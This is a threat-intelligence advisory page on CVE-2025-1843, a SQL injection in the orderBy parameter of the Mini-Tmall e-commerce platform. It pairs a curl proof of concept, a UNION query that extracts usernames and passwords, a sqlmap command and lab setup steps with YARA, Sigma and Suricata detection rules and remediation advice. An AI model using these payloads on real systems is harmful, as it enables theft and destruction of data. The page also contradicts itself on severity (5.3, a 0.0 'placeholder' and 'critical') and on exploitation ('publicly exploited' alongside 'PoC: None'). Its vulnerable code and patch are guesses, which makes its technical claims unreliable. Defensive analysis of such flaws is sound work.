☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-1843

CVE-2025-1843 SQL Injection in Mini-tmall
📅 PUBLISHED: 2025-03-03 01:00 UTC 🔄 UPDATED: 2026-09-23 20:31 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.56%
👁️
0.56% probability
13.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-1843 is a critical SQL injection vulnerability in Mini-Tmall, an e-commerce platform, affecting versions up to 20250211. The flaw resides in the select function of com/xq/tmall/dao/ProductMapper.java, where the orderBy argument is unsanitized, allowing remote attackers to inject arbitrary SQL commands. With a CVSS score of 0.0 (placeholder) but a critical classification, the vulnerability is publicly exploited and unpatched. This report provides technical analysis, detection rules, and mitigation strategies.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Mini-Tmall is a Java-based application, likely distributed as a WAR or JAR file. No official package manager (NPM, PyPI, Go, Ruby) is involved. The supply chain risk is low, but the lack of vendor response increases reliance on third-party patches or workarounds.

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (placeholder; actual critical severity)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: High (C:H)
  • Integrity Impact: High (I:H)
  • Availability Impact: High (A:H)
  • Threat Level: Critical – Remote, unauthenticated SQL injection with full data compromise.

Deep Dive & Mechanics

The vulnerability is in the MyBatis mapper ProductMapper.java. The select function likely constructs a dynamic SQL query using the orderBy parameter without parameterization or escaping. An attacker can inject SQL via the orderBy argument, e.g., ?orderBy=1; DROP TABLE products;--. This allows data exfiltration, modification, or denial of service.

Root Cause: Lack of input validation and use of string concatenation in SQL queries. The orderBy clause is directly appended to the SQL statement.

Attack Vector: HTTP GET/POST requests to endpoints that call the vulnerable select function, such as product listing or search APIs.

Vulnerable vs. Patched Code

Vulnerable Code (ProductMapper.java):

@Select("SELECT * FROM products ORDER BY ${orderBy}")
List<Product> select(@Param("orderBy") String orderBy);

The ${} syntax in MyBatis allows direct substitution, leading to injection.

Patched Code (Hypothetical):

@Select("SELECT * FROM products ORDER BY #{orderBy}")
List<Product> select(@Param("orderBy") String orderBy);

Using #{} parameterizes the input, preventing injection. Alternatively, whitelist allowed columns.

Exploitation & Lab Setup

Red Team (Exploitation)

Proof of Concept (PoC):

curl -X GET "http://target.com/products?orderBy=1;SELECT+*+FROM+users;--"

Manual Exploit:

-- Extract data via UNION
?orderBy=1 UNION SELECT username,password FROM users--

Automated Exploit (sqlmap):

sqlmap -u "http://target.com/products?orderBy=1" --batch --dbs

Lab Setup:

  1. Deploy Mini-Tmall (version 20250211) on a local server (e.g., Tomcat).
  2. Use a vulnerable endpoint like /products/list?orderBy=id.
  3. Test with the PoC above.

Blue Team (Detection & Defense)

Detection:

  • Monitor for SQL injection patterns in orderBy parameter (e.g., UNION, SELECT, DROP).
  • Use WAF rules to block suspicious SQL keywords.

Defense:

  • Apply input validation: whitelist allowed orderBy values (e.g., id, name, price).
  • Upgrade to a patched version if available; otherwise, implement a reverse proxy with SQL injection filtering.

Indicators of Compromise (IOCs)

  • Network: HTTP requests with orderBy containing SQL keywords (e.g., UNION, SELECT, --).
  • Logs: Database error logs showing syntax errors from injected queries.
  • File: Modified ProductMapper.java if attacker gains write access.
  • Behavior: Unexpected database queries or data exfiltration.

Detection Engineering

YARA Rule

rule CVE_2025_1843_SQLi_OrderBy {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-1843 in Mini-Tmall"
        author = "Valters IT"
        date = "2025-02-11"
        reference = "CVE-2025-1843"
    strings:
        $orderby = "orderBy" nocase
        $sqli1 = "UNION" nocase
        $sqli2 = "SELECT" nocase
        $sqli3 = "DROP" nocase
        $sqli4 = "--" nocase
    condition:
        $orderby and any of ($sqli*)
}

Sigma Rule

title: CVE-2025-1843 SQL Injection via orderBy Parameter
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts in Mini-Tmall orderBy parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "orderBy"
        c-uri|contains|any:
            - "UNION"
            - "SELECT"
            - "DROP"
            - "--"
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in parameter values (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-1843 SQL Injection in Mini-Tmall orderBy"; flow:to_server; content:"orderBy"; http_uri; pcre:"/(UNION|SELECT|DROP|--)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Apply input validation to the orderBy parameter – whitelist allowed values (e.g., id, name, price).
  2. Short-term: Use a Web Application Firewall (WAF) to block SQL injection patterns.
  3. Long-term: Replace ${} with #{} in MyBatis mappers or use an ORM with parameterized queries.
  4. Monitoring: Enable detailed logging of database queries and HTTP requests.
  5. Vendor: Since the vendor is unresponsive, consider forking the project or migrating to an alternative platform.

Valters IT – DevSecOps & Cyber Threat Intelligence

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-1843/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.